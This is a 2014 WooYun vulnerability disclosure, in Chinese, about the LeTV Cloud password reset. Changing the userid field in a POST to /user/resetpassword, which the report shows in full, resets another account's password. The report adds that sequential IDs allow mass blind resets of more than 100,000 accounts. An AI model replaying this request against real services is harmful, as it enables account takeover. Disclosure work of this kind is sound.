[公开漏洞]乐视某云平台可更改任意用户密码（涉及十多万用户） - 漏洞预警

乐视某云平台可更改任意用户密码（涉及十多万用户）相关厂商：乐视网漏洞作者：魇提交时间：2014-05-04 23:12 公开时间：2014-06-18 23:13 漏洞类型：设计缺陷/逻辑错误危害等级：高自评Rank：15 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：逻辑错误设计不当漏洞详情披露状态：

2014-05-04：细节已通知厂商并且等待厂商处理中
2014-05-05：厂商已经确认，细节仅向厂商公开
2014-05-15：细节向核心白帽子及相关领域专家公开
2014-05-25：细节向普通白帽子公开
2014-06-04：细节向实习白帽子公开
2014-06-18：细节向公众公开

简要描述：

比较纠结..是盲改..

详细说明：

http://www.letvcloud.com/乐视云视频

在重置密码这里，经过测试，只要通过更改下列POST请求中userid参数就可以更改该帐号的密码(email参数随便填写没关系)

POST /user/resetpassword HTTP/1.1

Host: www.letvcloud.com

Proxy-Connection: keep-alive

Content-Length: 78

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://www.letvcloud.com

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://www.letvcloud.com/user/checkresetpassword/ua/76a10db640c55446177617929964c6035818fdfe27c418d749da7eccff651fd9c93fb1be08845aba8dcd560f7a25718aaecc900faa48d6be40a043e136a347b2

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Cookie: PHPSESSID=8b0713c288f0295c47b0ea2f5cc5a709; Hm_lvt_984e73b4d6ff5ece34ec3da984ece290=1399210465,1399210872; Hm_lpvt_984e73b4d6ff5ece34ec3da984ece290=1399210872



userid=121990&email=wooyunyana%40126.com&password=wooyun1&repassword=wooyun1

但是比较纠结的是。虽然能更改该id,但是无法知晓该id对应的登录邮箱名,但是可以盲改，

如从userid：1-121990，利用工具将所有用户批量修改成一个密码，然后...登录一些官方的帐号之类的，但是只是测试一下，没必要这么做..

这里注册了2个帐号演示:

A：wooyunyana@126.com 对应userid=121990

B：wooyunyanb@126.com 对应userid=121993

用A帐号找回密码，打开找回密码链接，将userid=121990修改成121993（也就是B帐号的userid）

就可以修改到B帐号的密码了

然后我输入一个新密码，点击设置密码，提示设置密码成功

然后用新密码登录B帐号，也成功登录了

因为我是用自己的帐号测试的，你们也可以复查一下，虽然不能知道该userid对应的帐号，但上面我也说了可以盲改，userid值是递增的..十多万用户批量的话也只要些许时间而已..

漏洞证明：

#1 见详细说明

#2 多次复测后我才发上来，你们也可以自查下

修复方案：

请验证用户操作的合法性

危害等级：高

漏洞Rank：19

确认时间：2014-05-05 06:27

厂商回复：

感谢挖掘，马上修复！